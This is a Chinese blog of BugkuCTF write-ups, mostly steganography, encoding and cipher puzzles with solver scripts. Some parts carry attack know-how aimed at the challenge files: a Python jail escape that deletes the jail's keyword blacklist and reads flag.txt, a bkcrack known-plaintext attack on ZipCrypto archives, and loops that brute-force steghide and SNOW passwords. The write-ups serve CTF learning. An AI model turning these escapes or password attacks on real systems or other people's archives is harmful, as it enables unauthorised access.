BugkuCTF 部分题解(随缘更新)

之前做的题在BugkuCTF 部分题解(一)

佛系更新

2024.2.5更新了USB 流量截取、密室逃脱2、你了解CBC吗、MaybeEasyRSA

MISC

USB 流量截取

基础usb键盘流量题,具体可以参考https://blog.csdn.net/weixin_45696568/article/details/122445750

密室逃脱2

C盘\mymap\Map中图片的exif

转换得到120.754233
在这里插入图片描述
C盘/用户(奇奇怪怪)/lyy000/密室逃脱2/密室逃脱2.html中有密文,删去空格解base100、核心价值观编码得到ckriuskzudpvi

最后爆破一下凯撒密码的偏移量,可以得到一个有意义的字符串welcometoxjpc

恶心的来了,加上作者对于D盘的解锁密码的描述比较模糊,开始多次尝试解压均错误。

后面选择爆破,发现正确的解压密码是]elcometo^jpc+120.754233,原来是密室逃脱2.html中还有一段提示(凯撒偏移量32)
在这里插入图片描述
用明文字符串作为干扰项,选择了一个看起来很抽象的字符串来作为密码,给人一种很会出题的感觉

解压后百度识图一下,可以找到一篇相关博客,得知该建筑是German Church,Gothenburg
在这里插入图片描述
所以解压密码为gothenburg,下一步要找拍照的时间戳作为密码,但是发现手机密码大小为6,完全可以跳过这一步
在这里插入图片描述
直接爆破,密码为lyy000,解压拿flag
在这里插入图片描述

Steganography_concerto

1.png的宽高有问题,正确的宽是240,高是1246,修改完得到提示
在这里插入图片描述
这个密码明显不全,尝试对jpg进行解密,测试后发现是jsteg工具隐写
在这里插入图片描述
得到第二段密码:but_now_is

剩下的MP3文件,结合文件名和文件格式,很容易猜到是MP3Stego
在这里插入图片描述
跑出来的txt里面有’\u200b’ ‘\u200c’ '\u200d’等零宽字符,但是常用的那几个网站解不出来。需要用http://zero.rovelast.com/,即可解出flag

canyoufindme

也是一个套题,http流中可以导出一些se图,没什么用。简单查找后可以在111589111590包中找到两段hex,转文件得到一个加密的7z文件。

因为bugku不支持上传100M以上的文件,所以作者给出了藏在另一个流量包中的密码:maao@####2334

解压后url解密得到

·--·--·---··--·--·--·--···-·--·--·--·------··--····--····-····--···--·--·---··--·-··-····-·-----···-··-···-----·---····-·-----···--···---···-··---·-··--·-··-···-----·--··---··-----····-----··--··-··--··---··-··-···---···---- ·- --/-· -·/-· --/-· ·-/-- ·- --/-- -- ··/-· ··/-· ··/-· ··/-· ·-/-- -- ··/-· -·/-· ·-/-- -- ··/-· -·/-- -- ·-/-· ·-/-- -- ··/-· ·-/-· ·-/·· -·/-· -·/·· -·/-- -- ·-/·· -·/-- -- ··/-- -- ··/-· -·/-· --/·· ··/·· --/·· --

开始尝试转换二进制去做,但是没解出来有意义的结果。最后试出来是栏数为2的栅栏(不同网站解的结果不一样,这里用的千千秀字)
在这里插入图片描述
解莫斯得到:

121 78 89 83 121 106 85 85 74 72 116 87 73 105 77 102 73 105 83 83 48 78 67 102 48 105 104 77 81 66 61 61

最后的base64表作者已经给出,解密即可在这里插入图片描述

简单的二维码

33*33的二维码

很容易注意到上部有多出来的黑像素块
在这里插入图片描述
脚本数一下发现第一行的黑色像素块数量分别是:58, 5, 5, 14, 6, 57
第二行的黑色像素块数量是:59, 10, 8, 17, 9, 60, 61, 9

按照奇偶数再区分下就是:01100110011011

再按照这个规律把第三行前两个也补上,二进制转字符得到fl
在这里插入图片描述
那么按照这个思路继续写脚本:

from PIL import Image
i1=Image.open("file.png")
lt = []
for h in range(i1.height):
    for w in range(i1.width):
        lt.append(i1.getpixel((w,h)))

white = []
black = []

cnt = 1
for i in range(len(lt)):
    try:
        if i == 0:
            pass
        elif lt[i] != lt[i-1]:
            if lt[i-1] == 255:
                white.append(cnt)
            else:
                black.append(cnt)
            cnt = 1
        else:
            cnt += 1
    except:
        pass
#print(black)
s = ''
flag = []
for i in range(len(black)):
    if len(s) == 8:
        x = int(s,2)
        if x < 128:
            flag.append(chr(x))
        s = ""
    s += str(black[i]%2)
print(''.join(flag[:30]))

不是Base编码

def rev(k,fence):
    fence = fence[::-1]
    flag = ''
    while fence:
        if k > 0:
            flag = fence[0]+flag
            fence = fence[1:]
            k *= -1
        else:
            flag += fence[0]
            fence = fence[1:]
            k *= -1
    return flag

s = '09e878204c173047e8a205a7856c00491f2404c446500032b733865e06'
fence = ''
for i in s:
    fence += bin(int(i,16))[2:].zfill(4)
fence = fence[:-1]

if len(fence)%2 == 1:
    k = 1
    xor_txt = rev(k,fence)
else:
    k = -1
    xor_txt = rev(k, fence)

key = 'quest'
fix_key = ''
for i in range(33):
    fix_key += '{:07b}'.format(ord(key[i % len(key)]))
flag = ''
for i in range(len(fix_key)):
    flag += str(int(fix_key[i])^int(xor_txt[i]))

b = ''
i = 0
j = 7
while j <= len(flag):
    a = '0' + flag[i:j]
    b += chr(int(a,2))
    i = j
    j += 7
print(b)

哎,就是玩

把TKR.png的高度改到500,再用stegsolve打开,发现密码TY4AsDnf0vZMSDy
在这里插入图片描述
解压迷宫.zip,得到的MG.exe是个迷宫游戏,但是不懂怎么控制的,键盘鼠标都试了没反应,果断逆向。

尊重下作者,还是用预期解去做,点击蓝色小球的相邻格子即可移动,但是仔细观察会发现起点和终点间无通路,正常来说走不到终点。

但是如果是逆向后看到源代码,或者是气急败坏乱点的师傅可以发现,相邻黑色格可以通过多次点击消除,从而到达终点。
在这里插入图片描述
然后得到下一个压缩包的密码:vKR6FytGTHLqKMW

后一个井字棋下赢了没有弹窗,重开一把后发现每次操作可以下好几步,点6下就有flag了
在这里插入图片描述

pyjin1

#!/usr/bin/env python3
blacklist = ["/","0","1","2","3","4","5","6","7","8","9","setattr","compile","globals","os","import","_","breakpoint","exit","lambda","eval","exec","read","print","open","'","=",'"',"x","builtins","clear"]
print("="*25)
print(open(__file__).read())
print("="*25)
print("Welcome to the jail!")
print("="*25)

for i in range(2):
        x = input('Enter command: ')
        for c in blacklist:
                if c in x:
                        print("Blacklisted word found! Exiting!")
                        exit(0)
        exec(x)

黑名单过滤的差不多了,尝试help()函数命令执行也没成功。

再次观察发现给了两次执行命令的机会,而且黑名单中没有过滤blacklist,说明可以对黑名单列表进行操作。

因为这里=被过滤了,没办法赋值,而且clear也被过滤了。

所以使用del直接删除blacklist里的内容,但是注意不能直接删除整个列表

del blacklist[:]
print(open("flag.txt").read())

铁子,来一道

Home\厨房\垃圾桶中有个txt,解0宽得到The wifi pass is donotplayxingtietoomuchtime

去找这个wifi,在Home\自己的卧室\星穹铁道里发现和wifi有关的压缩包,解压,从jpg尾部提取出一个png

扫码得flag

神秘的宴会

挺有意思的一个推理,之前在b站上看到过

在一个神秘的地方,两位主持人正主持这宴会,随着时间的推移,宴会也迎来了高潮
一男一女两位主持人对大家说消失的文本名就在某个人的身上且文本名是(他的桌号加他的位置号的md5值)
#例E5的md5为	f9f2d672039ed5d04839b769ad71e1b0 所以消失的文本名为  f9f2d672039ed5d04839b769ad71e1b0.txt

宴会共有13个人 你能找到ta吗

以知桌号只有男主持知道,位置号只有女主持人知道
两个主持人的对话如下:
	女主持人说:我不知道是谁
	男主持人说:我知道你不知道是谁
	女主持人说:现在我知道是谁了
	男主持人说:我也知道是谁了

在这里插入图片描述
首先女主持不知道是谁,可以推测出座位号是2 5 6 8其中之一
然后男主持说他知道女主持不知道是谁,意思就是他知道的桌号上面的位置号都在2 5 6 8中,即都是重复出现过的号码,说明是B或C桌
然后女主持就知道是谁了,说明是B或C桌中没有多次出现的号码,排除2号
最后男主持也知道是谁了,说明答案是C6

7e8b9f5cab4a8fe24fad9fe4b7452702.txt

注意到flag.zip中有一个Themissingtextnameishere.zip,而且加密算法是ZipCrypto Store ,应该是明文攻击,自己找一个文件zip压缩一下可以发现文件名的位置是固定的,所以偏移为30
在这里插入图片描述

新建一个1.txt,内容为7e8b9f5cab4a8fe24fad9fe4b7452702.txt

bkcrack.exe -C flag.zip -c Themissingtextnameishere.zip -p 1.txt -o 30

一会就可以跑出密钥,随后将里面的文件提取出来

发现1.jpg和123.png长得一样,盲水印梭出flag

我把文字藏到图片了

第一部分,日常记混getpixel的参数顺序…

from PIL import Image
im=Image.open('flag1.png')
im = im.convert('RGB')

width = im.width
high = im.height

for h in range(high):
    for w in range(width):
        r,g,b = im.getpixel((w,h))
        #print(r,g,b)
        print(chr(r),end='')

第二部分脚本

from PIL import Image
from struct import *
im=Image.open('flag2.png')
im = im.convert('RGB')

width = im.width
high = im.height

for h in range(high):
    for w in range(width):
        r,g,b = im.getpixel((w,h))
        #print(r,g,b)
        print(pack('BBB',r,g,b).decode('utf-8'),end='')

第三部分txt里有零宽字符,解得密钥为BYXS,这里的维吉尼亚表被换了,自己手动推一下。

例如密文前两位是ST,对应密钥BY,则解得明文前两位是CT
在这里插入图片描述

密室逃脱

都是基础知识,按步骤来就行,或者可以爆破

旅行的奥秘

jpg文件尾部给了密码:yuanshen,png尾部有图片的数据,提取出来是个二维码,扫码→hex转字符得到ZfirYQMabLhnIHxIREmTg5qNu7tMxzN3tCyteu2K31Q=

在线网站解一下拿到密码,解压风神.zip得到flag

请攻击这个压缩包

在这里插入图片描述
加密方式为ZipCrypto Store,应该是要我们明文攻击。这里用bkcrack进行攻击,选定png文件头12个字节为已知明文段,具体过程可参考第七届湖湘杯的某取证题

这个flag,就是逊啦

解压file.zip,发现一个加密的flag.rar,先观察password.txt

发现有十组密文,每一组有16个无规律的数字。hint1提示密码为纯数字
在这里插入图片描述
hint2没有内容,比较可疑,观察发现隐写了0宽字符,在线网站解得新提示:HZK16

百度一下发现这里是16*16点阵字库,每一组数字都可以转换为一个汉字,这里以第一行为例,解出的结果为
在这里插入图片描述
解密脚本可参考

for j in range(10):
    lt = []
    for item in map(int,input().split(',')):
        lt.append(item)
    for i in range(16):
        s = bin(lt[i] & 0xffffffff)
        s = s.replace('0b', "").zfill(16)
        for j in s:
            if j == '1':
                print('0', end=' ')
            else:
                print('.', end=' ')
        print()
    print()

最后转化的结果为:九的九次方等于多少?。所以压缩包的密码为387420489

解压后发现无后缀乱码文件,先看hint,里面有两个前后呼应的gif文件,出自杰哥不要这个梗。

从剧情来理解就是刚开始杰哥是1,阿伟是0;结局的时候两人互换了。同时两个gif文件尾部均有提示,分别是Binaryreverse,结合动图内容,共三层提示,即二进制反转

例如89504e47转为二进制为10001001 01010000 01001110 01000111,操作后得到01110110 10101111 10110001 10111000。自行替换或者使用010editor里的工具→十六进制运算→二进制反转

改后缀为png,再用stegsolve打开即可看到最终flag。

KISSKISS

爆破得到压缩包密码02426

猜猜文件夹里全是图片,黑色为1,白色为0,二进制转字符得到密码Pdx_kiss_kiss

结合提示,使用watermark对kiss.jpg进行解密,得到密码:KISS_kiss??????

解压final.zip,有图片和提示:图片好像需要四位的密码哦,但是到处找不到四位密码,且不知加密工具。

因为这里是jpg,又涉及到爆破,所以先试steghide,steghide本身不支持爆破密码,可以借助工具如https://github.com/Va5c0/Steghide-Brute-Force-Tool或者stegseek

开始试的是kiss大小写爆破,后面试数字的时候试出来密码了

# -*- coding: utf-8 -*-
#py3
import os
if __name__ =='__main__':
    for x in range(0,9999):
        x = str(x).zfill(4)
        os.system("steghide.exe extract -sf kiss_all.jpg -p "+x)
        print(x)

兔年大吉

社会核心观编码解密得到key:rabbit,密文经base32解码后得到佛曰密文,在线网站解密得到H​​​​‏​‌​​​​‏‍​​​​​‏‍‌​​​​‏‍‌​​​​‏‍‌​​​​‌‏‏​​​​‏​‎2SfqTIxK19Np8HYvg3B3pmXmq5TEESY9J5u4SwHH9C4,其中有零宽字符解得enooo1g

结合题目名,最后一步应该是rabbit加密,但是这里的密文特征与常见的rabbit密文有出入,rot13之后得到U2FsdGVkX19Ac8ULit3O3czKzd5GRRFL9W5h4FjUU9P4,同理把前面解得的字符也rot13得到rabbb1t

常用的几个在线网站均解不出来,找到一个可以用的网站,得到结果套上flag{}即可。

七七的礼物

个别地方有点意思,但总体非常套,没有写wp的欲望。。。。。

具体过程参考出题人的wp

奇怪的压缩包

给了三张图,首先是shumu.bmp,bmp的话优先考虑lsb隐写silencenteye隐写,是后者,解出第一组数据
在这里插入图片描述
然后是xiaoshumu.png,B0通道发现一个二维码,扫码得到一些十六进制数据

还有一个jpg,是jphs隐写,密码在exif信息中
在这里插入图片描述
解出第三组数据,拼接在一起得到一个加密的压缩包
在这里插入图片描述

flag3直接crc32爆破得到CTF-,爆破得到flag2.txt的密码是456789,内容为an-excellent-。猜想一下flag1.txt的密码也许是123456?猜对了,内容是flag{Bugku-is-

猜想之后是要明文攻击,用bkcrack应该也可以跑,具体可以参考我另一篇wp

因为上次打完比赛重装系统了,再次安装bkcrack出现了问题,所以这里就用ARCHPR进行攻击了,首先对于明文攻击,要明确:

1.AES256加密方式不适用
2.ZipCrypto Deflate和ZipCrypto Store可以使用

可见flag1.txt和flag2.txt是AES-256,也导致了如果用ARCHPR直接打开这个压缩包,会显示:明文攻击不适合这个文件。
在这里插入图片描述
解决办法是,用010editor打开压缩包,删去flag1.txt和flag2.txt对应部分的数据(这部分自行探索,全教了就没意思了),然后再用winrar对得到的压缩包进行修复。效果如下
在这里插入图片描述
测试一下可以得知flag4.txt的内容就是前面得到的三段伪flag拼凑起来:flag{Bugku-is-an-excellent-CTF-

然后正常明文攻击就行,记得搜索完口令到如下界面时,直接停止即可得到解密后的文件。
在这里插入图片描述
flag就在flag.txt中,不过前面得到的flag{Bugku-is-an-excellent-CTF-是段伪flag,最后一个单词很好猜,但是真正的flag对前面的字符都进行了混淆替换,别想着猜flag了。

不可以破译的密码

第一层类似维吉尼亚

lt = [['P', 'Q', 'L', 'N', 'E', 'Y', 'O', 'D', 'H', 'R', 'J', 'M', 'B', 'K', 'C', 'T', 'F', 'U', 'A', 'Z', 'S', 'X', 'I', 'W', 'V', 'G'],
['H', 'R', 'V', 'K', 'E', 'I', 'Y', 'B', 'J', 'G', 'M', 'Q', 'P', 'C', 'X', 'D', 'F', 'N', 'Z', 'T', 'U', 'O', 'L', 'A', 'W', 'S'],
['S', 'N', 'U', 'K', 'R', 'T', 'P', 'B', 'O', 'E', 'X', 'G', 'A', 'V', 'Z', 'Q', 'D', 'J', 'H', 'W', 'C', 'Y', 'I', 'M', 'L', 'F'],
['J', 'T', 'K', 'Q', 'V', 'F', 'L', 'X', 'D', 'Z', 'W', 'U', 'O', 'A', 'M', 'I', 'E', 'B', 'Y', 'G', 'P', 'R', 'S', 'H', 'C', 'N'],
['J', 'Z', 'B', 'L', 'E', 'P', 'K', 'G', 'N', 'O', 'A', 'C', 'R', 'U', 'I', 'S', 'D', 'M', 'F', 'V', 'X', 'H', 'Q', 'T', 'W', 'Y']]

d = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"

x = 0

f = open('cipher_text.txt','r')
f1 = open('out.txt','w')
for i in f.read():
    if i.isalpha():
        ls = lt[x]
        ind = ls.index(i)
        flag = d[ind]
        f1.write(flag)
        x = (x + 1) % 5
    else:
        f1.write(i)
f.close()
f1.close()

得到的结果hex解一下就是zip文件了

一眼crc32碰撞,不过解出来的没有可读的,需要生成字典爆破一下
在这里插入图片描述

跑完自己爆破一下。

a = ['2miMR_', '5tnsxt', 'EiAfA8', 'U4YYYg', 'Uytd4o', 'VE0Kvk', 'WEqzmr', 'Yk0Z80', 'ZWtuz4', 'fZ6p89', 'it6avb', 'jHrN4f', 'kimoF3', 'ompnGP', 'wJBCVw', 'z44aEu', 'zXGLA1']
b = ['Bu2vU1', 'GqnFOK', 'JB5Y1A', 'NgvHYn', 'Og7yBw', 'PEM6xo', 'YSU8nJ', 'nhEqbk', 'qVpbYg', 'us3s1H', 'wO6mhU', 'wSy1iA']
c = ['1OFImu', '3sCW4h', 'CO2Rdh', 'DJz0OW', 'DV5lNC', 'Iens0I', 'KYkmiT', 'N1Dpwj', 'XTDP7K', 'ZhANnV', 'eYGdn_', 'geBz7B', 'kVXTRQ', 'lO_jxz', 'oREUS2', 'sqjyCv', 'zgrwUS']
d = ['9pJQTY', 'CG9e94', 'CfguPx', 'G_k89C', 'Li9two', 'MixElv', 'RWMVWz', 'dpSrAV', 'qEdPG7', 'rD13mk', 'uAyQFT', 'w0QrrA']
e = ['33r8sz', '7GSHwI', '9HLxKG', 'BBo1Uk', 'DGfbeM', 'F6NAQX', 'H9QqmV', 'JHyRYC', 'KH8cBZ', 'UvLAbO', 'cQRetc', 'h6bHVS', 'jGJkbF', 'u4RE4B']

f = open('password.txt','w')
for i in a:
    for j in b:
        for l in c:
            for m in d:
                for n in e:
                    s = i+j+l+m+n
                    f.write(s)
                    f.write('\n')
f.close()

套娃解密,最后的密文再解一下栅栏,flag小写

import base64


f = open('flag.txt','r')

s = f.read()

while 1:
    try:
        s = base64.b32decode(s)
    except:
        try:
            s = base64.b16decode(s)
        except:
            try:
                s = base64.b64decode(s)
            except:
                print(s)
                break
f.close()

真正的爱情

聊天记录,很明显是摩斯密码,把字替换成-进行解密得到wandwbxdwn(我爱你但我不想耽误你)
在这里插入图片描述
另一张图片尾部有压缩文件的数据,提取保存并用得到的密码解压。

熟悉的声音.mp3听起来明显是拨号音,有能力的师傅直接就听出结果了,听不出来的师傅可以参考我另一篇博客的做法,再或者使用dtmf2.exe工具也行。
在这里插入图片描述
密码:19865153975,解压缩包,进入下一层。

ppt文件里给了很多图片,真正有用的被藏起来了,众所周知pptx的本质是压缩包,改后缀为zip解压可以翻到两个图片,下图应该是某种替换密码。
在这里插入图片描述
google一下就可以找到密码表,则密码为:wdxcyyyzyq(晚冬夏初要永远在一起)
在这里插入图片描述
最后这个视频是有点搞的,试了一些隐写都不对,根据视频里文字内容猜想flag可能是前面的密码
在这里插入图片描述
以上尝试均寄,直到我暂停完回来发现底部隐约有东西(这个位置一般是被进度条挡住的)
在这里插入图片描述
stegsolve处理一下可以得到一部分flag,多试几次就可以得到完整flag
在这里插入图片描述

ez_misc

修复abc.rar的文件头,解压出a.zip、b.zip、c.txt

c.txt是jpg图片,修改后缀,修改图片高度得到yQsad6E1,用于解压b.zip,得到一个二维码,扫描得到提示GIF89a。再看flag.docx,下面那行应该是隐藏文字,我默认是可见的,如果看不到自己改一下设置
在这里插入图片描述
用得到的密码解压a.zip,得到call.png,结合前面的提示,修改文件头,stegsolve打开得到flag

Happy ZQ

1.txt和2.txt长度都是6,很明显是crc32碰撞,得到_pass__word_,合起来之后作为密码解压p.zip

得到Happy_zhong_qiu,用于解压can you find it.zip

passwd.txt是snow隐写,解出Mid-Autumn_Festival,然后解压拿flag…

粉色的猫

压缩包注释TCAACTTAGCTGTGATGATGTTCAGATTAGCTAATCG四个字符组成,很容易联想到腺嘌呤A,胸腺嘧啶T,胞嘧啶C,鸟嘌呤G这四个碱基,而这四个碱基是组成DNA的基本单元。

于是猜想这可能是DNA相关的一种加密,查到一篇文档:https://arxiv.org/pdf/0903.2693.pdf

可以发现解密过程,除了已知的密文序列外,还需要知道对应的密码本。但是本体中只给了一串密文,猜想不是这一种加密。
在这里插入图片描述
然后又找见一个DNA翻译的脚本

s = 'TCAACTTAGCTGTGATGATGTTCAGATTAGCTA'

table = {
    'ATA':'I', 'ATC':'I', 'ATT':'I', 'ATG':'M',
    'ACA':'T', 'ACC':'T', 'ACG':'T', 'ACT':'T',
    'AAC':'N', 'AAT':'N', 'AAA':'K', 'AAG':'K',
    'AGC':'S', 'AGT':'S', 'AGA':'R', 'AGG':'R',
    'CTA':'L', 'CTC':'L', 'CTG':'L', 'CTT':'L',
    'CCA':'P', 'CCC':'P', 'CCG':'P', 'CCT':'P',
    'CAC':'H', 'CAT':'H', 'CAA':'Q', 'CAG':'Q',
    'CGA':'R', 'CGC':'R', 'CGG':'R', 'CGT':'R',
    'GTA':'V', 'GTC':'V', 'GTG':'V', 'GTT':'V',
    'GCA':'A', 'GCC':'A', 'GCG':'A', 'GCT':'A',
    'GAC':'D', 'GAT':'D', 'GAA':'E', 'GAG':'E',
    'GGA':'G', 'GGC':'G', 'GGG':'G', 'GGT':'G',
    'TCA':'S', 'TCC':'S', 'TCG':'S', 'TCT':'S',
    'TTC':'F', 'TTT':'F', 'TTA':'L', 'TTG':'L',
    'TAC':'Y', 'TAT':'Y', 'TAA':'_', 'TAG':'_',
    'TGC':'C', 'TGT':'C', 'TGA':'_', 'TGG':'W'
    }
for i in range(len(s)//3):
    x = s[3*i:3*(i+1)]
    print(table[x],end="")

跑出的结果是ST_L__CSD_L,不是压缩包密码,猜想掩码爆破,也没得到密码


之前就卡到这个位置不做了,今天有空刷刷文章,偶然看到树木师傅的wp,发现最开始的思路是对的,解密确实需要用到密钥,所以只能使用出题人用的那个在线网站……其他的工具会因为密钥不同无法解出

解得密码:CATISSOCUTE
在这里插入图片描述
解得的key.txt的内容看特征应该是PDU编码了,用在线网站逐行解码,最后拼接在一块再转为png文件
在这里插入图片描述
图片看起来挺怪的,这个是npiet,可以看看1998师傅的文章
在这里插入图片描述
可以用在线网站解,记得科学上网,不然会报Please check the the captcha form.。也可以用工具解。
测试发现:需要将这个图片反色处理之后才能成功解出隐藏的信息。
在这里插入图片描述
解得的a=13b=14暂时不知道什么意思,用010打开之前的无后缀文件1,发现是bpg文件。bpg图片不能在windows系统下直接显示,查看方式可以参考misc入门的misc3

使用工具查看,发现图片无法正常显示。
在这里插入图片描述

在前面查询npiet相关资料时,发现这个题考察的知识点和HGAME2022 谁不喜欢猫猫呢差不多,最后一步考察的是Arnold变换(猫脸变换)

这里的图片需要用工具转为png格式后才能正常使用脚本,Image.opencv2.imread好像都不支持bpg格式的读取。
在这里插入图片描述
变换完再查看可以得到flag。

from PIL import Image

img = Image.open('out.png')
if img.mode == "P":
    img = img.convert("RGB")
assert img.size[0] == img.size[1]
dim = width, height = img.size

st = 33
a = 13
b = 14
for _ in range(st):
    with Image.new(img.mode, dim) as canvas:
        for nx in range(img.size[0]):
            for ny in range(img.size[0]):
                y = (ny - nx * a) % width
                x = (nx - y * b) % height
                canvas.putpixel((y, x), img.getpixel((ny, nx)))
canvas.show()
canvas.save('result.png')

请叫我艺术家

word里有个像素画,和一串符号

前者用工具解出半个flag
在这里插入图片描述

文档末尾的todpole提示了这串符号是蝌蚪文,在线网站解密得到后半段flag

simple MQTT

解题过程还是简单的,关键是学习了解一下mqtt协议

wireshark打开后,分析追踪流TCP流
在这里插入图片描述
上面那部分显然是rar文件数据,下半部分则提示了密码为:th1s_1s_rar_p@ssw0rd,解压拿flag

Where is flag Plus

压缩包中共有1936个txt文件,对应序号0-1935,每一个txt的大小都是12,内容像是base64编码,但是解码得到的是乱码,换了几种组合方式后解得的依旧是乱码

转换思路,看看文件的crc32校验值,没有找到规律;但是发现文件的修改时间比较奇怪,而且只有秒数不一样
在这里插入图片描述
于是把所有文件解压到一个文件夹下,写个简单脚本分析可知,秒数分布为30-50,再结合文件个数为1936,正好能被8整除

import os
import time

out =[]
flag = ""

for i in range(1936):
    path = r'dir\{}.txt'.format(str(i))
    # 获取修改时间
    file_time = os.path.getmtime(path)
    s = time.ctime(file_time)
    out.append(int(s[17:19]))
print(max(out)) #50
print(min(out)) #30

于是遍历文件的修改时间,如果秒数大于40则记为1,否则即为0,再将得到的二进制转hex

import os
import time

flag = ''
out=''

for i in range(1936):
    path = r'dir\{}.txt'.format(str(i))
    file_time = os.path.getmtime(path)
    s = time.ctime(file_time)
    if int(s[17:19]) >= 40:
        flag += '1'
    else:
        flag += '0'
    if len(flag) == 8:
        out += hex(int('0b'+flag,2))[2:].zfill(2)
        flag = ''
print(out)

保存为7z文件,得到snow.txt,看特征明显是snow加密
在这里插入图片描述这里需要密码,得爆破,随便上网找个弱口令字典,运行完了ctrl+f查找有无flag输出就行

import os

f = open('wordlist.dic','r')
for line in f.read().splitlines():
    out = str(os.system('SNOW.EXE -p {} -C snow.txt'.format(line)))

yst的小游戏

bmp文件,考虑lsbwbstego,后者解出一串hex,转字符得到

#coding=utf-8

import os,threading

class user():
    MAX_HP=400
    HP=400
    MP=200
    Danger=30
    Defence=20
class HP():
    name_1='小瓶生命药水'
    HP_1=50
    name_2='大瓶生命药水'
    HP_2=100
    name_3='满血药水'
    HP_3=user.HP
class MP():
    name_1='小瓶魔法药水'
    MP_1=50
    name_2='大瓶魔法药水'
    MP_2=100
    name_3='满魔药水'
    MP_3=user.MP
class USE():
    name_1='普通攻击'
    MP_1=0
    Danger_1=user.Danger
    name_2='磨刀石'
    MP_2=10
    Danger_2=user.Danger*2
    name_3='鸡汤'
    MP_3=20
    Danger_3=user.Danger*3
    name_4='攻击强化'
    MP_4=50
print('开始游戏'.center(100,'*'))
print('yst的属性值\t生命值%s\t魔法值%s\t攻击力%s\t防御值%s\t'%(user.HP,user.MP,user.Danger,user.Defence))
level=129
class Boss():
    HP=300
    Danger=30
    Defence=20
    HP=HP+20*level
    MP=400
    Danger=Danger+3*level
    Defence=Defence+level*4
user.Danger=user.Danger-Boss.Defence
Boss.Danger=Boss.Danger-user.Defence
if user.Danger <=0:
    user.Danger=1
if Boss.Danger <=0:
    Boss.Danger=1
print('树木的属性值\t生命值%s\t魔法值%s\t攻击力%s\t防御值%s\t'%(Boss.HP,Boss.MP,Boss.Danger,Boss.Defence))
print('战斗开始'.center(100,'*'))
ran=0
while 1:
    ran=ran+1
    print('可用技能\t%s 攻击力%s\t%s 攻击力%s\t%s 攻击力%s\t%s 攻击力%s\t'%(USE.name_1,user.Danger,USE.name_2,user.Danger*2,USE.name_3,user.Danger*3,USE.name_4,user.Danger*2))
    print('可用药水\t%s 回复生命值%s\t%s 回复生命值%s\t%s 回复生命值%s\t\n\t\t%s 回复魔法值%s\t%s 回复魔法值%s\t%s 回复魔法值%s\t'%(HP.name_1,HP.HP_1,HP.name_2,HP.HP_2,HP.name_3,HP.HP_3,MP.name_1,MP.MP_1,MP.name_2,MP.MP_2,MP.name_3,MP.MP_3))
    use=input('使用:')
    if USE.name_1 in use:
        user.MP=user.MP-USE.MP_1
        if user.MP<USE.MP_1:
            print('魔力不足,自动使用普通攻击')
            Boss.HP=Boss.HP-user.Danger
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))
        else:
            user.MP=user.MP-USE.MP_1
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))
            Boss.HP=Boss.HP-user.Danger
    elif USE.name_2 in use:
        if user.MP<USE.MP_2:
            print('魔力不足,自动使用普通攻击')
            Boss.HP=Boss.HP-user.Danger
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))
        else:
            user.MP=user.MP-USE.MP_2
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_2,user.Danger*2))
            Boss.HP=Boss.HP-user.Danger*2
    elif USE.name_3 in use:
        if user.MP<USE.MP_3:
            print('魔力不足,自动使用普通攻击')
            Boss.HP=Boss.HP-user.Danger
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_1,user.Danger))
        else:
            user.MP=user.MP-USE.MP_3
            print('yst使用了%s 对怪物造成了%s伤害'%(USE.name_3,user.Danger*3))
            Boss.HP=Boss.HP-user.Danger*3
    elif USE.name_4 in use:
        if user.MP<USE.MP_4:
            print('魔力不足,自动使用普通攻击')
            Boss.HP=Boss.HP-user.Danger
            print('yst使用了%s 对树木造成了%s伤害'%(USE.name_1,user.Danger))
        else:
            user.MP=user.MP-USE.MP_4
            user.Danger=user.Danger*2
            print('yst使用了%s 对树木造成了%s伤害'%(USE.name_4,user.Danger))
            Boss.HP=Boss.HP-user.Danger
    elif HP.name_1 in use:
        user.HP=user.HP+HP.HP_1
        print('yst使用了%s 恢复了%s生命值'%(HP.name_1,HP.HP_1))
    elif HP.name_2 in use:
        user.HP=user.HP+HP.HP_2
        print('yst使用了%s 恢复了%s生命值'%(HP.name_2,HP.HP_2))
    elif HP.name_3 in use:
        user.HP=user.HP+HP.HP_3
        print('yst使用了%s 恢复了%s生命值'%(HP.name_3,HP.HP_3))
    elif MP.name_1 in use:
        user.MP=user.MP+MP.MP_1
        print('yst使用了%s 恢复了%s魔力值'%(MP.name_1,MP.MP_1))
    elif MP.name_2 in use:
        user.MP=user.MP+MP.MP_2
        print('yst使用了%s 恢复了%s魔力值'%(MP.name_2,MP.MP_2))
    elif MP.name_3 in use:
        user.MP=user.MP+MP.MP_3
        print('yst使用了%s 恢复了%s魔力值'%(MP.name_3,MP.MP_3))
    else:
        print('没有该道具 自动使用普通攻击')
        print('yst使用了%s 对树木造成了%s伤害'%(USE.name_1,user.Danger))
        Boss.HP=Boss.HP-user.Danger
    user.HP=user.HP-Boss.Danger
    print('树木对你造成了%s伤害'%(Boss.Danger))
    print('yst\t剩余生命值%s\t攻击力%s\t\t防御力%s\t魔法值%s'%(user.HP,user.Danger,user.Defence,user.MP))
    print('树木\t剩余生命值%s\t攻击力%s\t防御力%s\t\n'%(Boss.HP,Boss.Danger,Boss.Defence))
    print('第%s回合,结束!!!'%ran)
    if Boss.HP<=0 and user.HP<=0:
        print('平局!!!')
        break
    if Boss.HP <=0:
        print('树木被砍翻了,你赢了!!!\t')
        break
    if user.HP <=0:
        print('你寄了!!!\t')
        break

在这里插入图片描述

测试一下发现每次攻击强化耗蓝50,使普通攻击和技能伤害*2,同时会造成伤害
最后鸡汤的伤害会是最高的,用作最后几下补伤害

初始血量400,每次被攻击掉血397,第一回合之后剩3滴血;使用满血药水再被攻击血量变成6,如此往复使血量超过397,然后如果当前蓝量不够,则先补蓝,否则释放攻击强化。每次补蓝或者释放技能之后,都执行多次回血操作。

简单模拟这个过程,就可以得到答案。

图片里的英文

先拿到密码I LOV3 CHINA
在这里插入图片描述
这个密码还不知道用到哪里,作者给了文件,直接跳到第二步,有五张图片,结合题目描述,需要从中破解出压缩包的密码

这是游戏sifu里的东西,能认出其中有,其实是把传统的仁义礼智信改成了人义尊智诚,这里的顺序是人尊智义诚,不过这五个字所有的排列组合都不是密码。

题目描述是而且仇人拥有5种不同能力,你能破解他们吗。,所以压缩包的密码是木火水金土,对应五个关卡反派的能力
